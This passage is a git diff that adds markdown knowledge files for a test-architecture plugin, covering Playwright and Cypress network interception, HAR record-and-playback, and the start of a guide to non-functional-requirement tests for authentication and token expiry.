diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/network-first.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/network-first.md
new file mode 100644
index 0000000..fcc31a9
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/network-first.md
@@ -0,0 +1,486 @@
+# Network-First Safeguards
+
+## Principle
+
+Register network interceptions **before** any navigation or user action. Store the interception promise and await it immediately after the triggering step. Replace implicit waits with deterministic signals based on network responses, spinner disappearance, or event hooks.
+
+## Rationale
+
+The most common source of flaky E2E tests is **race conditions** between navigation and network interception:
+
+- Navigate then intercept = missed requests (too late)
+- No explicit wait = assertion runs before response arrives
+- Hard waits (`waitForTimeout(3000)`) = slow, unreliable, brittle
+
+Network-first patterns provide:
+
+- **Zero race conditions**: Intercept is active before triggering action
+- **Deterministic waits**: Wait for actual response, not arbitrary timeouts
+- **Actionable failures**: Assert on response status/body, not generic "element not found"
+- **Speed**: No padding with extra wait time
+
+## Pattern Examples
+
+### Example 1: Intercept Before Navigate Pattern
+
+**Context**: The foundational pattern for all E2E tests. Always register route interception **before** the action that triggers the request (navigation, click, form submit).
+
+**Implementation**:
+
+```typescript
+// ✅ CORRECT: Intercept BEFORE navigate
+test('user can view dashboard data', async ({ page }) => {
+  // Step 1: Register interception FIRST
+  const usersPromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  // Step 2: THEN trigger the request
+  await page.goto('/dashboard');
+
+  // Step 3: THEN await the response
+  const usersResponse = await usersPromise;
+  const users = await usersResponse.json();
+
+  // Step 4: Assert on structured data
+  expect(users).toHaveLength(10);
+  await expect(page.getByText(users[0].name)).toBeVisible();
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display users', () => {
+    // Step 1: Register interception FIRST
+    cy.intercept('GET', '**/api/users').as('getUsers');
+
+    // Step 2: THEN trigger
+    cy.visit('/dashboard');
+
+    // Step 3: THEN await
+    cy.wait('@getUsers').then((interception) => {
+      // Step 4: Assert on structured data
+      expect(interception.response.statusCode).to.equal(200);
+      expect(interception.response.body).to.have.length(10);
+      cy.contains(interception.response.body[0].name).should('be.visible');
+    });
+  });
+});
+
+// ❌ WRONG: Navigate BEFORE intercept (race condition!)
+test('flaky test example', async ({ page }) => {
+  await page.goto('/dashboard'); // Request fires immediately
+
+  const usersPromise = page.waitForResponse('/api/users'); // TOO LATE - might miss it
+  const response = await usersPromise; // May timeout randomly
+});
+```
+
+**Key Points**:
+
+- Playwright: Use `page.waitForResponse()` with URL pattern or predicate **before** `page.goto()` or `page.click()`
+- Cypress: Use `cy.intercept().as()` **before** `cy.visit()` or `cy.click()`
+- Store promise/alias, trigger action, **then** await response
+- This prevents 95% of race-condition flakiness in E2E tests
+
+### Example 2: HAR Capture for Debugging
+
+**Context**: When debugging flaky tests or building deterministic mocks, capture real network traffic with HAR files. Replay them in tests for consistent, offline-capable test runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Enable HAR recording
+export default defineConfig({
+  use: {
+    // Record HAR on first run
+    recordHar: { path: './hars/', mode: 'minimal' },
+    // Or replay HAR in tests
+    // serviceWorkers: 'block',
+  },
+});
+
+// Capture HAR for specific test
+test('capture network for order flow', async ({ page, context }) => {
+  // Start recording
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: true, // Update HAR with new requests
+  });
+
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // HAR saved to ./hars/order-flow.har
+});
+
+// Replay HAR for deterministic tests (no real API needed)
+test('replay order flow from HAR', async ({ page, context }) => {
+  // Replay captured HAR
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  // Test runs with exact recorded responses - fully deterministic
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Custom mock based on HAR insights
+test('mock order response based on HAR', async ({ page }) => {
+  // After analyzing HAR, create focused mock
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        orderId: '12345',
+        status: 'confirmed',
+        total: 99.99,
+      }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order #12345')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- HAR files capture real request/response pairs for analysis
+- `update: true` records new traffic; `update: false` replays existing
+- Replay mode makes tests fully deterministic (no upstream API needed)
+- Use HAR to understand API contracts, then create focused mocks
+
+### Example 3: Network Stub with Edge Cases
+
+**Context**: When testing error handling, timeouts, and edge cases, stub network responses to simulate failures. Test both happy path and error scenarios.
+
+**Implementation**:
+
+```typescript
+// Test happy path
+test('order succeeds with valid data', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Test 500 error
+test('order fails with server error', async ({ page }) => {
+  // Listen for console errors (app should log gracefully)
+  const consoleErrors: string[] = [];
+  page.on('console', (msg) => {
+    if (msg.type() === 'error') consoleErrors.push(msg.text());
+  });
+
+  // Stub 500 error
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 500,
+      contentType: 'application/json',
+      body: JSON.stringify({ error: 'Internal Server Error' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // Assert UI shows error gracefully
+  await expect(page.getByText('Something went wrong')).toBeVisible();
+  await expect(page.getByText('Please try again')).toBeVisible();
+
+  // Verify error logged (not thrown)
+  expect(consoleErrors.some((e) => e.includes('Order failed'))).toBeTruthy();
+});
+
+// Test network timeout
+test('order times out after 10 seconds', async ({ page }) => {
+  // Stub delayed response (never resolves within timeout)
+  await page.route(
+    '**/api/orders',
+    (route) => new Promise(() => {}), // Never resolves - simulates timeout
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should show timeout message after configured timeout
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 15000 });
+});
+
+// Test partial data response
+test('order handles missing optional fields', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      // Missing optional fields like 'trackingNumber', 'estimatedDelivery'
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should handle gracefully - no crash, shows what's available
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText('Tracking information pending')).toBeVisible();
+});
+
+// Cypress equivalents
+describe('Order Edge Cases', () => {
+  it('should handle 500 error', () => {
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Internal Server Error' },
+    }).as('orderFailed');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.wait('@orderFailed');
+    cy.contains('Something went wrong').should('be.visible');
+  });
+
+  it('should handle timeout', () => {
+    cy.intercept('POST', '**/api/orders', (req) => {
+      req.reply({ delay: 20000 }); // Delay beyond app timeout
+    }).as('orderTimeout');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.contains('Request timed out', { timeout: 15000 }).should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- Stub different HTTP status codes (200, 400, 500, 503)
+- Simulate timeouts with `delay` or non-resolving promises
+- Test partial/incomplete data responses
+- Verify app handles errors gracefully (no crashes, user-friendly messages)
+
+### Example 4: Deterministic Waiting
+
+**Context**: Never use hard waits (`waitForTimeout(3000)`). Always wait for explicit signals: network responses, element state changes, or custom events.
+
+**Implementation**:
+
+```typescript
+// ✅ GOOD: Wait for response with predicate
+test('wait for specific response', async ({ page }) => {
+  const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+  const response = await responsePromise;
+
+  expect(response.status()).toBe(200);
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for multiple responses
+test('wait for all required data', async ({ page }) => {
+  const usersPromise = page.waitForResponse('**/api/users');
+  const productsPromise = page.waitForResponse('**/api/products');
+  const ordersPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto('/dashboard');
+
+  // Wait for all in parallel
+  const [users, products, orders] = await Promise.all([usersPromise, productsPromise, ordersPromise]);
+
+  expect(users.status()).toBe(200);
+  expect(products.status()).toBe(200);
+  expect(orders.status()).toBe(200);
+});
+
+// ✅ GOOD: Wait for spinner to disappear
+test('wait for loading indicator', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Wait for spinner to disappear (signals data loaded)
+  await expect(page.getByTestId('loading-spinner')).not.toBeVisible();
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for custom event (advanced)
+test('wait for custom ready event', async ({ page }) => {
+  let appReady = false;
+  page.on('console', (msg) => {
+    if (msg.text() === 'App ready') appReady = true;
+  });
+
+  await page.goto('/dashboard');
+
+  // Poll until custom condition met
+  await page.waitForFunction(() => appReady, { timeout: 10000 });
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ❌ BAD: Hard wait (arbitrary timeout)
+test('flaky hard wait example', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // WHY 3 seconds? What if slower? What if faster?
+  await expect(page.getByText('Dashboard')).toBeVisible(); // May fail if >3s
+});
+
+// Cypress equivalents
+describe('Deterministic Waiting', () => {
+  it('should wait for response', () => {
+    cy.intercept('GET', '**/api/users').as('getUsers');
+    cy.visit('/dashboard');
+    cy.wait('@getUsers').its('response.statusCode').should('eq', 200);
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  it('should wait for spinner to disappear', () => {
+    cy.visit('/dashboard');
+    cy.get('[data-testid="loading-spinner"]').should('not.exist');
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  // ❌ BAD: Hard wait
+  it('flaky hard wait', () => {
+    cy.visit('/dashboard');
+    cy.wait(3000); // NEVER DO THIS
+    cy.contains('Dashboard').should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()` with URL pattern or predicate = deterministic
+- `waitForLoadState('networkidle')` = wait for all network activity to finish
+- Wait for element state changes (spinner disappears, button enabled)
+- **NEVER** use `waitForTimeout()` or `cy.wait(ms)` - always non-deterministic
+
+### Example 5: Anti-Pattern - Navigate Then Mock
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Race condition - mock registered AFTER navigation starts
+test('flaky test - navigate then mock', async ({ page }) => {
+  // Navigation starts immediately
+  await page.goto('/dashboard'); // Request to /api/users fires NOW
+
+  // Mock registered too late - request already sent
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Test randomly passes/fails depending on timing
+  await expect(page.getByText('Test User')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: No wait for response
+test('flaky test - no explicit wait', async ({ page }) => {
+  await page.route('**/api/users', (route) => route.fulfill({ status: 200, body: JSON.stringify([]) }));
+
+  await page.goto('/dashboard');
+
+  // Assertion runs immediately - may fail if response slow
+  await expect(page.getByText('No users found')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: Generic timeout
+test('flaky test - hard wait', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(2000); // Arbitrary wait - brittle
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+```
+
+**Why It Fails**:
+
+- **Mock after navigate**: Request fires during navigation, mock isn't active yet (race condition)
+- **No explicit wait**: Assertion runs before response arrives (timing-dependent)
+- **Hard waits**: Slow tests, brittle (fails if < timeout, wastes time if > timeout)
+- **Non-deterministic**: Passes locally, fails in CI (different speeds)
+
+**Better Approach**: Always intercept → trigger → await
+
+```typescript
+// ✅ GOOD: Intercept BEFORE navigate
+test('deterministic test', async ({ page }) => {
+  // Step 1: Register mock FIRST
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Step 2: Store response promise BEFORE trigger
+  const responsePromise = page.waitForResponse('**/api/users');
+
+  // Step 3: THEN trigger
+  await page.goto('/dashboard');
+
+  // Step 4: THEN await response
+  await responsePromise;
+
+  // Step 5: THEN assert (data is guaranteed loaded)
+  await expect(page.getByText('Test User')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Order matters: Mock → Promise → Trigger → Await → Assert
+- No race conditions: Mock is active before request fires
+- Explicit wait: Response promise ensures data loaded
+- Deterministic: Always passes if app works correctly
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (network setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Network fixture patterns
+  - `data-factories.md` - API-first setup with network
+  - `test-quality.md` - Deterministic test principles
+
+## Debugging Network Issues
+
+When network tests fail, check:
+
+1. **Timing**: Is interception registered **before** action?
+2. **URL pattern**: Does pattern match actual request URL?
+3. **Response format**: Is mocked response valid JSON/format?
+4. **Status code**: Is app checking for 200 vs 201 vs 204?
+5. **HAR file**: Capture real traffic to understand actual API contract
+
+```typescript
+// Debug network issues with logging
+test('debug network', async ({ page }) => {
+  // Log all requests
+  page.on('request', (req) => console.log('→', req.method(), req.url()));
+
+  // Log all responses
+  page.on('response', (resp) => console.log('←', resp.status(), resp.url()));
+
+  await page.goto('/dashboard');
+});
+```
+
+_Source: Murat Testing Philosophy (lines 94-137), Playwright network patterns, Cypress intercept best practices._
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/network-recorder.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/network-recorder.md
new file mode 100644
index 0000000..ca86323
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/network-recorder.md
@@ -0,0 +1,527 @@
+# Network Recorder Utility
+
+## Principle
+
+Record network traffic to HAR files during test execution, then play back from disk for offline testing. Enables frontend tests to run in complete isolation from backend services with intelligent stateful CRUD detection for realistic API behavior.
+
+## Rationale
+
+Traditional E2E tests require live backend services:
+
+- Slow (real network latency)
+- Flaky (backend instability affects tests)
+- Expensive (full stack running for UI tests)
+- Coupled (UI tests break when API changes)
+
+HAR-based recording/playback provides:
+
+- **True offline testing**: UI tests run without backend
+- **Deterministic behavior**: Same responses every time
+- **Fast execution**: No network latency
+- **Stateful mocking**: CRUD operations work naturally (not just read-only)
+- **Environment flexibility**: Map URLs for any environment
+
+## Quick Start
+
+### 1. Record Network Traffic
+
+```typescript
+// Set mode to 'record' to capture network traffic
+process.env.PW_NET_MODE = 'record';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will record all network traffic
+  await networkRecorder.setup(context);
+
+  // Your normal test code
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Network traffic is automatically saved to HAR file
+});
+```
+
+### 2. Playback Network Traffic
+
+```typescript
+// Set mode to 'playback' to use recorded traffic
+process.env.PW_NET_MODE = 'playback';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will replay from HAR file
+  await networkRecorder.setup(context);
+
+  // Same test code runs without hitting real backend!
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+});
+```
+
+That's it! Your tests now run completely offline using recorded network traffic.
+
+## Pattern Examples
+
+### Example 1: Basic Record and Playback
+
+**Context**: The fundamental pattern - record traffic once, play back for all subsequent runs.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Set mode in test file (recommended)
+process.env.PW_NET_MODE = 'playback'; // or 'record'
+
+test('CRUD operations work offline', async ({ page, context, networkRecorder }) => {
+  // Setup recorder (records or plays back based on PW_NET_MODE)
+  await networkRecorder.setup(context);
+
+  await page.goto('/');
+
+  // First time (record mode): Records all network traffic to HAR
+  // Subsequent runs (playback mode): Plays back from HAR (no backend!)
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Intelligent CRUD detection makes this work offline!
+  await expect(page.getByText('Inception')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `PW_NET_MODE=record` captures traffic to HAR files
+- `PW_NET_MODE=playback` replays from HAR files
+- Set mode in test file or via environment variable
+- HAR files auto-organized by test name
+- Stateful mocking detects CRUD operations
+
+### Example 2: Complete CRUD Flow with HAR
+
+**Context**: Full create-read-update-delete flow that works completely offline.
+
+**Implementation**:
+
+```typescript
+process.env.PW_NET_MODE = 'playback';
+
+test.describe('Movie CRUD - offline with network recorder', () => {
+  test.beforeEach(async ({ page, networkRecorder, context }) => {
+    await networkRecorder.setup(context);
+    await page.goto('/');
+  });
+
+  test('should add, edit, delete movie browser-only', async ({ page, interceptNetworkCall }) => {
+    // Create
+    await page.fill('#movie-name', 'Inception');
+    await page.fill('#year', '2010');
+    await page.click('#add-movie');
+
+    // Verify create (reads from stateful HAR)
+    await expect(page.getByText('Inception')).toBeVisible();
+
+    // Update
+    await page.getByText('Inception').click();
+    await page.fill('#movie-name', "Inception Director's Cut");
+
+    const updateCall = interceptNetworkCall({
+      method: 'PUT',
+      url: '/movies/*',
+    });
+
+    await page.click('#save');
+    await updateCall; // Wait for update
+
+    // Verify update (HAR reflects state change!)
+    await page.click('#back');
+    await expect(page.getByText("Inception Director's Cut")).toBeVisible();
+
+    // Delete
+    await page.click(`[data-testid="delete-Inception Director's Cut"]`);
+
+    // Verify delete (HAR reflects removal!)
+    await expect(page.getByText("Inception Director's Cut")).not.toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Full CRUD operations work offline
+- Stateful HAR mocking tracks creates/updates/deletes
+- Combine with `interceptNetworkCall` for deterministic waits
+- First run records, subsequent runs replay
+
+### Example 3: Common Patterns
+
+**Recording Only API Calls**:
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    urlFilter: /\/api\//, // Only record API calls, ignore static assets
+  },
+});
+```
+
+**Playback with Fallback**:
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    fallback: true, // Fall back to live requests if HAR entry missing
+  },
+});
+```
+
+**Custom HAR File Location**:
+
+```typescript
+await networkRecorder.setup(context, {
+  harFile: {
+    harDir: 'recordings/api-calls',
+    baseName: 'user-journey',
+    organizeByTestFile: false, // Optional: flatten directory structure
+  },
+});
+```
+
+**Directory Organization:**
+
+- `organizeByTestFile: true` (default): `har-files/test-file-name/baseName-test-title.har`
+- `organizeByTestFile: false`: `har-files/baseName-test-title.har`
+
+### Example 4: Response Content Storage - Embed vs Attach
+
+**Context**: Choose how response content is stored in HAR files.
+
+**`embed` (Default - Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'embed', // Store content inline (default)
+  },
+});
+```
+
+**Pros:**
+
+- Single self-contained file - Easy to share, version control
+- Better for small-medium responses (API JSON, HTML pages)
+- HAR specification compliant
+
+**Cons:**
+
+- Larger HAR files
+- Not ideal for large binary content (images, videos)
+
+**`attach` (Alternative):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'attach', // Store content separately
+  },
+});
+```
+
+**Pros:**
+
+- Smaller HAR files
+- Better for large responses (images, videos, documents)
+
+**Cons:**
+
+- Multiple files to manage
+- Harder to share
+
+**When to Use Each:**
+
+| Use `embed` (default) when          | Use `attach` when               |
+| ----------------------------------- | ------------------------------- |
+| Recording API responses (JSON, XML) | Recording large images, videos  |
+| Small to medium HTML pages          | HAR file size >50MB             |
+| You want a single, portable file    | Maximum disk efficiency needed  |
+| Sharing HAR files with team         | Working with ZIP archive output |
+
+### Example 5: Cross-Environment Compatibility (URL Mapping)
+
+**Context**: Record in dev environment, play back in CI with different base URLs.
+
+**The Problem**: HAR files contain URLs for the recording environment (e.g., `dev.example.com`). Playing back on a different environment fails.
+
+**Simple Hostname Mapping:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'preview.example.com': 'dev.example.com',
+        'staging.example.com': 'dev.example.com',
+        'localhost:3000': 'dev.example.com',
+      },
+    },
+  },
+});
+```
+
+**Pattern-Based Mapping (Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      patterns: [
+        // Map any preview-XXXX subdomain to dev
+        { match: /preview-\d+\.example\.com/, replace: 'dev.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Custom Function:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      mapUrl: (url) => url.replace('staging.example.com', 'dev.example.com'),
+    },
+  },
+});
+```
+
+**Complex Multi-Environment Example:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'localhost:3000': 'admin.example.com',
+        'admin-staging.example.com': 'admin.example.com',
+        'admin.example.com': 'admin.example.com',
+      },
+      patterns: [
+        { match: /admin-\d+\.example\.com/, replace: 'admin.example.com' },
+        { match: /admin-staging-pr-\w+-\d\.example\.com/, replace: 'admin.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Benefits:**
+
+- Record once on dev, all environments map back to recordings
+- CORS headers automatically updated based on request origin
+- Debug with: `LOG_LEVEL=debug npm run test`
+
+## Why Use This Instead of Native Playwright?
+
+| Native Playwright (`routeFromHAR`) | network-recorder Utility       |
+| ---------------------------------- | ------------------------------ |
+| ~80 lines setup boilerplate        | ~5 lines total                 |
+| Manual HAR file management         | Automatic file organization    |
+| Complex setup/teardown             | Automatic cleanup via fixtures |
+| **Read-only tests only**           | **Full CRUD support**          |
+| **Stateless**                      | **Stateful mocking**           |
+| Manual URL mapping                 | Automatic environment mapping  |
+
+**The game-changer: Stateful CRUD detection**
+
+Native Playwright HAR playback is stateless - a POST create followed by GET list won't show the created item. This utility intelligently tracks CRUD operations in memory to reflect state changes, making offline tests behave like real APIs.
+
+## How Stateful CRUD Detection Works
+
+When in playback mode, the Network Recorder automatically analyzes your HAR file to detect CRUD patterns. If it finds:
+
+- Multiple GET requests to the same resource endpoint (e.g., `/movies`)
+- Mutation operations (POST, PUT, DELETE) to those resources
+- Evidence of state changes between identical requests
+
+It automatically switches from static HAR playback to an intelligent stateful mock that:
+
+- Maintains state across requests
+- Auto-generates IDs for new resources
+- Returns proper 404s for deleted resources
+- Supports polling scenarios where state changes over time
+
+**This happens automatically - no configuration needed!**
+
+## API Reference
+
+### NetworkRecorder Methods
+
+| Method               | Return Type              | Description                                   |
+| -------------------- | ------------------------ | --------------------------------------------- |
+| `setup(context)`     | `Promise<void>`          | Sets up recording/playback on browser context |
+| `cleanup()`          | `Promise<void>`          | Flushes data to disk and cleans up memory     |
+| `getContext()`       | `NetworkRecorderContext` | Gets current recorder context information     |
+| `getStatusMessage()` | `string`                 | Gets human-readable status message            |
+| `getHarStats()`      | `Promise<HarFileStats>`  | Gets HAR file statistics and metadata         |
+
+### Understanding `cleanup()`
+
+The `cleanup()` method performs memory and resource cleanup - **it does NOT delete HAR files**:
+
+**What it does:**
+
+- Flushes recorded data to disk (writes HAR file in recording mode)
+- Releases file locks
+- Clears in-memory data
+- Resets internal state
+
+**What it does NOT do:**
+
+- Delete HAR files from disk
+- Remove recorded network traffic
+- Clear browser context or cookies
+
+### Configuration Options
+
+```typescript
+type NetworkRecorderConfig = {
+  harFile?: {
+    harDir?: string; // Directory for HAR files (default: 'har-files')
+    baseName?: string; // Base name for HAR files (default: 'network-traffic')
+    organizeByTestFile?: boolean; // Organize by test file (default: true)
+  };
+
+  recording?: {
+    content?: 'embed' | 'attach'; // Response content handling (default: 'embed')
+    urlFilter?: string | RegExp; // URL filter for recording
+    update?: boolean; // Update existing HAR files (default: false)
+  };
+
+  playback?: {
+    fallback?: boolean; // Fall back to live requests (default: false)
+    urlFilter?: string | RegExp; // URL filter for playback
+    updateMode?: boolean; // Update mode during playback (default: false)
+  };
+
+  forceMode?: 'record' | 'playback' | 'disabled';
+};
+```
+
+## Environment Configuration
+
+Control the recording mode using the `PW_NET_MODE` environment variable:
+
+```bash
+# Record mode - captures network traffic to HAR files
+PW_NET_MODE=record npm run test:pw
+
+# Playback mode - replays network traffic from HAR files
+PW_NET_MODE=playback npm run test:pw
+
+# Disabled mode - no network recording/playback
+PW_NET_MODE=disabled npm run test:pw
+
+# Default behavior (when PW_NET_MODE is empty/unset) - same as disabled
+npm run test:pw
+```
+
+**Tip**: We recommend setting `process.env.PW_NET_MODE` directly in your test file for better control.
+
+## Troubleshooting
+
+### HAR File Not Found
+
+If you see "HAR file not found" errors during playback:
+
+1. Ensure you've recorded the test first with `PW_NET_MODE=record`
+2. Check the HAR file exists in the expected location (usually `har-files/`)
+3. Enable fallback mode: `playback: { fallback: true }`
+
+### Authentication and Network Recording
+
+The network recorder works seamlessly with authentication:
+
+```typescript
+test('Authenticated recording', async ({ page, context, authSession, networkRecorder }) => {
+  // First authenticate
+  await authSession.login('testuser', 'password');
+
+  // Then setup network recording with authenticated context
+  await networkRecorder.setup(context);
+
+  // Test authenticated flows
+  await page.goto('/dashboard');
+});
+```
+
+### Concurrent Test Issues
+
+The recorder includes built-in file locking for safe parallel execution. Each test gets its own HAR file based on the test name.
+
+## Integration with Other Utilities
+
+**With interceptNetworkCall (deterministic waits):**
+
+```typescript
+test('use both utilities', async ({ page, context, networkRecorder, interceptNetworkCall }) => {
+  await networkRecorder.setup(context);
+
+  const createCall = interceptNetworkCall({
+    method: 'POST',
+    url: '/api/movies',
+  });
+
+  await page.click('#add-movie');
+  await createCall; // Wait for create (works with HAR!)
+
+  // Network recorder provides playback, intercept provides determinism
+});
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixture patterns
+- `intercept-network-call.md` - Combine for deterministic offline tests
+- `auth-session.md` - Record authenticated traffic
+- `network-first.md` - Core pattern for intercept-before-navigate
+
+## Anti-Patterns
+
+**DON'T mix record and playback in same test:**
+
+```typescript
+process.env.PW_NET_MODE = 'record';
+// ... some test code ...
+process.env.PW_NET_MODE = 'playback'; // Don't switch mid-test
+```
+
+**DO use one mode per test:**
+
+```typescript
+process.env.PW_NET_MODE = 'playback'; // Set once at top
+
+test('my test', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context);
+  // Entire test uses playback mode
+});
+```
+
+**DON'T forget to call setup:**
+
+```typescript
+test('broken', async ({ page, networkRecorder }) => {
+  await page.goto('/'); // HAR not active!
+});
+```
+
+**DO always call setup before navigation:**
+
+```typescript
+test('correct', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context); // Must setup first
+  await page.goto('/'); // Now HAR is active
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/nfr-criteria.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/nfr-criteria.md
new file mode 100644
index 0000000..33d5814
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/nfr-criteria.md
@@ -0,0 +1,670 @@
+# Non-Functional Requirements (NFR) Criteria
+
+## Principle
+
+Non-functional requirements (security, performance, reliability, maintainability) are **validated through automated tests**, not checklists. NFR assessment uses objective pass/fail criteria tied to measurable thresholds. Ambiguous requirements default to CONCERNS until clarified.
+
+## Rationale
+
+**The Problem**: Teams ship features that "work" functionally but fail under load, expose security vulnerabilities, or lack error recovery. NFRs are treated as optional "nice-to-haves" instead of release blockers.
+
+**The Solution**: Define explicit NFR criteria with automated validation. Security tests verify auth/authz and secret handling. Performance tests enforce SLO/SLA thresholds with profiling evidence. Reliability tests validate error handling, retries, and health checks. Maintainability is measured by test coverage, code duplication, and observability.
+
+**Why This Matters**:
+
+- Prevents production incidents (security breaches, performance degradation, cascading failures)
+- Provides objective release criteria (no subjective "feels fast enough")
+- Automates compliance validation (audit trail for regulated environments)
+- Forces clarity on ambiguous requirements (default to CONCERNS)
+
+## Pattern Examples
+
+### Example 1: Security NFR Validation (Auth, Secrets, OWASP)
+
+**Context**: Automated security tests enforcing authentication, authorization, and secret handling
+
+**Implementation**:
+
+```typescript
+// tests/nfr/security.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Security NFR: Authentication & Authorization', () => {
+  test('unauthenticated users cannot access protected routes', async ({ page }) => {
+    // Attempt to access dashboard without auth
+    await page.goto('/dashboard');
+
+    // Should redirect to login (not expose data)
+    await expect(page).toHaveURL(/\/login/);
+    await expect(page.getByText('Please sign in')).toBeVisible();
+
+    // Verify no sensitive data leaked in response
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('user_id');
+    expect(pageContent).not.toContain('api_key');
+  });
+
+  test('JWT tokens expire after 15 minutes', async ({ page, request }) => {
+    // Login and capture token
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('ValidPass123!');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    const token = await page.evaluate(() => localStorage.getItem('auth_token'));
+    expect(token).toBeTruthy();
+
+    // Wait 16 minutes (use mock clock in real tests)
